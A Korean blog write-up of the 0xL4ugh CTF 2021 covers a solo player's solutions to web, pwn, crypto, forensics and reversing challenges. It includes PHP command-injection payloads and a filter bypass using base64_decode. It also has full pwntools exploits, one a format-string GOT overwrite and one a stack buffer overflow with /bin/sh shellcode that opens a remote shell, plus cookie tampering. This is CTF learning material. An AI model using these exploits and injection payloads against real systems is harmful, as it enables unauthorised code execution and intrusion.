1) 대회명
0xL4ugh CTF
2) 기간
2021.01.14 ~ 2021.01.16
3) 소감
오랜만에 했더니.. 익숙하지 않았지만!
43등했다!!
그리고 혼자였지만, 팀 이름으로 출전했다! Hidiot
이 문제 재밌었다.
웹에 들어가면 브라우저 정보를 찍어줍니다.
처음에는 User-Agent 문제인줄 알아서, sad로 변경하고 요청했는데...
예상대로 sad가 나오는건 맞지만, 아무런 변화가 없었습니다.
소스를 보면, base64로 인코딩 된 값을 서버로 보내고 있습니다.
base64로 디코딩한 값은 echo $_SERVER['HTTP_USER_AGENT']
입니다.
HTTP 요청을 한 클라이언트의 정보를 받는 php 함수입니다.
echo 이것을 보고 시스템 콜
을 할 수 있을것이라 판단했습니다.
일반적인 리눅스 명령어(ls, pwd...)들을 사용해보았는데, 에러도 안나고 아무것도 안나왔습니다.
뭐지... 필터링 되는게 있나? 이생각도 해봤는데
whoami를 찍었을때 nt authority\system
이런게 나왔습니다.?!
..
..
.... linux가 아니고
echo `whoami`;
ZWNobyBgd2hvYW1pYDs=
nt authority\system
dir 명령어로 현재 디렉토리를 살펴보니, 3개의 파일이 있었습니다.
echo `dir`;
ZWNobyBgZGlyYDs=
indx.php
test. php
d.php.jpeg
windows의 type
은 linux의 cat
과 같은 역할을 합니다.
index.php 코드에서 flag를 찾을 수 있었습니다.
echo `type index.php`;
ZWNobyBgdHlwZSBpbmRleC5waHBgOw==
0xL4ugh{S@dC0d3r_M3mbe3r_1n_0xL4ugh_&_sad_W0rld}
정답: 0xL4ugh{S@dC0d3r_M3mbe3r_1n_0xL4ugh_&_sad_W0rld}
기드라로 바이너리 파일을 열어보면 12번째줄 printf에서 포맷 없이 문자열을 찍고 있어서, Format String 공격이 가능하다.
이제 목표는 13째 줄의 puts를 다른 함수로 덮어써야한다.
함수들을 더 뒤져보니, flaggy라는 함수에서 system call을 하고 있었다.
이제, puts함수를 flaggy로 덮어
쓰면 된다!
포맷스트링 공격을 하기 위해서는 몇번째에 걸리는지를 확인해야한다.
다음과 같은 문자열을 입력했을때 4번째에 걸리는것을 알 수 있었다.
A의 hex(16진수) 값이 41
AAAA%x.%x.%x.%x.%x.%x.%x.%x
python2 로 작성했습니다.
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
# 1. 파일 정보를 확인한다. 32 bit, 메모리 보호 기법 없음
e = ELF("./trigger_happy")
# 2. 파일을 분석해서 얻은 flaggy 함수와 puts함수의 주소를 받는다.
get_flaggy = e.symbols["flaggy"]
puts_got = e.got["puts"]
# 3. 연결
p = remote("ctf.0xl4ugh.com", 1337)
# 4. 메시지 수신 - Do you like 0xL4ugh CTF?
message = p.recvline().decode("utf-8")
print(message)
# 5. 포맷 스트링 공격 - 4번째를 지정하고 페이로드를 보낸다.
payload = fmtstr_payload(4, {puts_got: get_flaggy})
p.sendline(payload)
# 6. 입력후 문자열 수신 - I am glad you
message = p.recvline().decode("utf-8")
print(message)
# 7. flaggy 함수 에서 cat flag.txt 결과 수신
message = p.recvall()
print(message)
정답: 0xl4ugh{trigger_happy_pack_heat_but_its_pwn_skills}
c++로 짠 코드가 나오는데
22번째 줄을 보면 배열에 입력받을때 넘치게 입력해서, 버퍼 오버 플로우 공격이 가능해보인다.
0x28은 10진수로 40이다.
40번째에 local_28이 있다.
쉘코드를 올리고, 48바이트를 입력해서, 버퍼 오버플로우를 일으킨 후 쉘과 인터렉션할 것이다.
python3 로 작성했습니다.
from pwn import *
context.log_level = "debug"
# 1. 로컬에서 ELF 라이브러리로 메모리 보호 기법 확인
elf = ELF('./leaky_pipe')
# 2. 연결
p = remote('ctf.0xl4ugh.com', 4141)
# 3. buf 주소 출력 전까지 입력받아줍니다.
message = p.recvuntil('here... ')
print('message', message)
# 4. buf를 입력받고 16진수로 변경해줍니다.
buf = int(p.recvline(14).strip(), 16)
print('buf', buf)
# 5. 64 bit에서 실행가능한 쉘코드 31 byte를 작성합니다.
shellcode = b'\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
# 6. 1) shellcode 31 + 2) 더미 값 9 + 3) buf 8 -> 48 Byte를 보내줍니다.
# p64 함수를 사용해서, 인텔 cpu 읽는 방법인 little endian으로 변경해줍니다.
payload = shellcode + b'\x00' * 9 + p64(buf)
p.sendline(payload)
# 7. 쉘코드와 상호작용합니다.
p.interactive()
정답: 0xl4ugh{waaaah_yaboooooy_kol_daaa_shellcode}
점자는 Louis Braille라는 프랑스 분이 만드셨고 영어로 braille alphabet 이라고부릅니다.
개인적으로 이 문제 풀면서, 점자에 대해 알게 되어서 좋았습니다.
정답: 0xL4ugh{baSe_32_Cook!es_ArE_FuNny}
문제를 열면 다음과 같은 텍스트를 받습니다.
{ ^),!&),!!$,^$,!^%,!$&,!%),!&#,!!#,^#,!&!,!$@,^),!$!,!^@,!$$,!#&,^!,!^#,!#&,!!),^#,!!$,!@),!)^,!@%,^!,^!,!&% }
하나씩 눌러보면, 키보드 숫자 영역의 특수문자로 이루어져있음을 알게되고, 숫자로 바꿨을대 8진수 아스키코드로 변환할 수 있음을 알게됩니다.
파이썬으로 문자열을 8진수 변환해서, 아스키코드를 출력했습니다.
a = "^),!&),!!$,^$,!^%,!$&,!%),!&#,!!#,^#,!&!,!$@,^),!$!,!^@,!$$,!#&,^!,!^#,!#&,!!),^#,!!$,!@),!)^,!@%,^!,^!,!&%"
a = a.replace("!", "1")
a = a.replace("@", "2")
a = a.replace("#", "3")
a = a.replace("$", "4")
a = a.replace("%", "5")
a = a.replace("^", "6")
a = a.replace("&", "7")
a = a.replace("*", "8")
a = a.replace("(", "9")
a = a.replace(")", "0")
print(a)
b = 60,170,114,64,165,147,150,173,113,63,171,142,60,141,162,144,137,61,163,137,110,63,114,120,106,125,61,61,175
for item in b:
c = str(item)
print(chr(int(c, 8)), end="")
print()
정답: 0xL4ugh{K3yb0ard_1s_H3LPFU11}
기드라로 열어보니 main
함수에서 vuln
함수를 콜하고 있었고
vuln 함수를 열어보니이상한것을 찍고 있엇다.
뭔가 생긴게 이상했지만, 그냥 저게 정답이었다.
정답: 0xL4ugh{Ourfirsteventenjoy}
문제에서 flag 케이크를 사달라고 한다.
Can you Buy The Flag Cake To Me ?
근데 돈이 없어서 살 수 없다.
소스코드에는 특별한 부분이 없어서, 쿠키를 봤더니, 케이크를 살때 마다 변경되는 값이었다.
Cyber chef를 통해 확인해보니 Base32로 인코딩되어있었다.
정리하면,쿠키에 적힌 금액으로 서버에서 케이크를 살 수 있다.
그럼, 쿠키의 금액을 변경해보자!!!
만수르가 된 기분이다.
정답: 0xL4ugh{baSe_32_Cook!es_ArE_FuNny}
php로 구성된 심플한 웹이 나오는데
쿼리 스트링으로 받는 파라미터에 굉장히 시스템 콜을 할 수 있게 생겼다.
138.91.58.10/Embedding/?username=
아니나 다를까 system(ls)를 붙여주었더니, 현재 디렉토리의 파일 목록을 보여준다.
http://138.91.58.10/Embedding/?username=system(ls)
그런데 문제가 있었다. 공백 및 특수문자(_, & 제외) 필터
가 걸려있어서 fla@g.php를 읽을 수 없었다.
138.91.58.10/Embedding/?username=system(cat fl@g.php)
필터를 우회하기 위해, 여러 방법을 시도해봤는데 대부분의 우회 방법들이 하필이면
공백과 특수문자를 거의 항상 포함했다.
최종적으로 성공한 방법은 Base64 인코딩해서 특수문자 필터를 통과하기!
fl@g.php를 Base64로 인코딩 하고, php의 함수를 사용해서, 디코딩 하면서, 파일을 읽도록 만들었다.
http://138.91.58.10/Embedding/?username=(readfile(base64_decode(ZmxAZy5waHA)))`
정답: 0xL4ugh{Z!90o_S@y_W3lC0m3}
MD5는 입력된 문자열을 기반으로 길이32의 해쉬를 생성하는 알고리즘입니다.
입력값에 대해 고유한 32길의의 문자열을 반환하기 때문에 파일 위변조에도 사용하기도 합니다.
(해쉬충돌을 사용하면, 서로 다른 문자열에서도 같은 MD5 해쉬를 만들 수 있습니다.)
해쉬에서 기존 문자열로 복원하는 알고리즘은 존재하지 않습니다. 대신에, 사람들이 자주 사용하는 해쉬를 저장해놓은 테이블을 가지고 역으로 추론할 수 있습니다.
이러한 고유한 해쉬를 저장하는 테이블을 레인보우 테이블
이라고 부릅니다.
룩업 테이블, 해쉬 테이블 여러 이름이 있습니다.
레인보우 테이블을 이용하면, 원래 문자열을 알수도 있기 때문에.
원래 문자열에 특정한 문자열을 더해서 1. 앞쪽 또는 2. 뒤쪽에 더해 MD5 해쉬를 생성합니다. 이때 더해주는 문자열을 SALT 라고 부릅니다.
다음 링크에서 해쉬와 salt를 넣으면 원래 문자열인 laugh를 얻을 수 있습니다.
https://www.dcode.fr/hash-function
문제에서 문자열 앞쪽 prefix에 더해준다면, 1_answer 형식으로 제출하로 했으니 정답은
0xL4ugh{1_laugh}
정답: 0xL4ugh{1_laugh}
처음 웹에 들어가면 다음과 같은 로그인 페이지가 나타납니다.
소스를 보면 아이디와 비밀번호가 주석처리되어있습니다. 이것을 입력하고 들어갈 수 있습니다.
(여담으로, 실생활에서도 중요한 정보를 개발자가 주석으로 처리하는 경우가 꽤 있다고 합니다.)
로그인 후 다음과 같은 form이 나옵니다. 입력하고 제출하면
음. 특별한게 없어 보입니다.
그러다 페이지 소스를 봤는데!!! 뭔가 의미가 있어보입니다!
코드를 보녁 XMLHttpRequest() 객체를 사용해서 서버로 비동기 http 요청을 보냅니다.
if(!style){
처럼 !style로 재정의해서, 함수를 실행해봅시다.
var style = document.getElementById('flagHunt');
if(style){
alert('You Did It!!! See The Console');
console.log(`%c
�꾟뻹�꾟뻹�꾟뻹�꾟뻹�� �� �� �� �� �� �� �� �꾟뻹�꾟뻹�꾟뻹�꾟뻹�꾟뻹�� �� ��
�먥뼇�묅뼇�묅뼇�묅뼇�묅뼇�뚢뼆�묅뼂 �먥뼇�뚢뼆�묅뼂�먥뼇�� �먥뼇�뚢뼆�묅뼂 �먥뼇�뚢뼆�묅뼇�묅뼇�묅뼇�묅뼇�묅뼇�묅뼂�먥뼇�� �먥뼇��
�먥뼇�댿뼇�댿����������댿뼇�뚢뼆�묅뼂 �먥뼇�� �먥뼇�뚢뼆�묅뼂 �먥뼇�뚢뼆�묅뼂 �먥뼇�뚢뼆�묅뻽������������������ �먥뼇�� �먥뼇��
�먥뼇�뚢뼆�묅뼂 �먥뼇�� �먥뼇�� �먥뼇�� �먥뼇�뚢뼆�묅뼂 �먥뼇�뚢뼆�묅뼂 �먥뼇�뚢뼆�묅뼂 �먥뼇�� �먥뼇��
�먥뼇�� �먥뼇�� �먥뼇�� �먥뼇�먥뼇�� �먥뼇�뚢뼆�묅뻽�꾟뻹�꾟뻹�꾟뻹�꾟뻽�묅뼂�먥뼇�� �먥뼇�뚢뼆�묅뼂 �꾟뻹�꾟뻹�꾟뻹�꾟뻹 �먥뼇�댿뻹�꾟뻹�꾟뻹�꾟뻹�댿뼇��
�먥뼇�� �먥뼇�� �먥뼇�� �먥뼇�� �먥뼇�뚢뼆�묅뼇�묅뼇�묅뼇�묅뼇�묅뼇�묅뼂�먥뼇�� �먥뼇�뚢뼆�묅뼂�먥뼇�묅뼇�묅뼇�묅뼇�묅뼂�먥뼇�묅뼇�묅뼇�묅뼇�묅뼇�묅뼇��
�먥뼇�� �먥뼇�� �먥뼇�� �먥뼇�뚢뼇�� �먥뼇�� �������������������댿뼇�뚢뼆�묅뼂 �먥뼇�뚢뼆�묅뼂 �������������댿뼇�뚢뼆�묅뻽���������������댿뼇��
�먥뼇�� �먥뼇�뚢뼆�묅뼂 �먥뼇�� �먥뼇�� �먥뼇�� �먥뼇�뚢뼆�묅뼂 �먥뼇�뚢뼆�묅뼂 �먥뼇�뚢뼆�묅뼂 �먥뼇��
�먥뼇�댿뻹�꾟뻹�꾟뻹�댿뼇�댿뼇�뚢뼆�묅뼂 �먥뼇�� �먥뼇�댿뻹�꾟뻹�꾟뻹�꾟뻹�꾟뻹 �먥뼇�뚢뼆�묅뻽�꾟뻹�꾟뻹�꾟뻹�꾟뻽�묅뼂�먥뼇�댿뻹�꾟뻹�꾟뻹�꾟뻹�댿뼇�뚢뼆�묅뼂 �먥뼇��
�먥뼇�묅뼇�묅뼇�묅뼇�묅뼇�뚢뼆�묅뼂 �먥뼇�뚢뼆�묅뼇�묅뼇�묅뼇�묅뼇�묅뼇�묅뼂�먥뼇�뚢뼆�묅뼇�묅뼇�묅뼇�묅뼇�묅뼇�묅뼂�먥뼇�묅뼇�묅뼇�묅뼇�묅뼇�묅뼇�뚢뼆�묅뼂 �먥뼇��
������������������ �� �� ���������������������� �� ���������������������� ���������������������� �� ��
`, "font-family:monospace");
function mrBanger(){
var request = new XMLHttpRequest();
request.onreadystatechange = function(){
console.log('Starting The Operation .....');
if(request.readyState == 4 && request.status == 200){
console.log("Connected 100%...")
if(confirm('You\'v Successfuly Connected To The Server Do You Wanna Continue?')){
console.log('Continue Operation ....');
console.log(`Your Flag Is -> ${this.responseText}`)
}else{
console.log('Cancelling The Operation ...');
}
}
}
request.open("OPTIONS", '.css.php', true);
request.setRequestHeader('checkCss', 'bd9093b089a8adb0d86199f0d88ec0b217dd2d19b87a0101b65eed42cc7dad24c67ef9bb98ded518da9e5905496c38e4c76776eb3e2f3f1ef6a1e3f86bb04bbf');
request.send();
}
mrBanger();
}else{
console.log('Error ....')
}
브라우저 콘솔을 열고 입력해주니 자동으로 계속 진행됩니다.
정답: 0xL4ugh{N0_Syst3m_1s_S@f3_3v3n_Y0u}
기드라로 받은 파일을 열고,문자열을 검색했더니, 플래그를 찾았습니다.
정답: 0xL4ugh{N0_Syst3m_1s_S@f3_3v3n_Y0u}
pcap 파일을 받고 wireshark로 열어줍니다.
개인적으로는 쉬운 wireshark 문제들은 아이디, 비밀번호 문제가 많아서, 일단 필터링해봅니다.
하나가 나왔습니다.
frame contains pass
비밀번호가 플래그였습니다.
base64는 아니고
cyber chef에서 magic으로 찍어보니 Base58이었습니다.
정답: 0xL4ugh{W1R3SH4ARK_I5_N0I53Y}
Sanity Check는 CTF를 시작하고, flag format을 확인하는 워밍업 문제입니다.
보통, 룰을 확인하거나, 디스코드를 들어오면 숨겨진 플래그를 찾을 수 있습니다.
근데, 이게 또 모르면 이런데서 시간이 오래걸릴때도 있습니다.
기본으로 점수 얻고 시작해야하는데, 못찾으면 빡칩니다.
이 문제에서는 디스코드의 룰로 가보라고 했고 제일 상단에서 찾을 수 있었습니다.
정답: 0xL4ugh{welc0m3_t0_Our_Firs7_CTF}
저도 언젠가 CTF 준비해보고 싶네요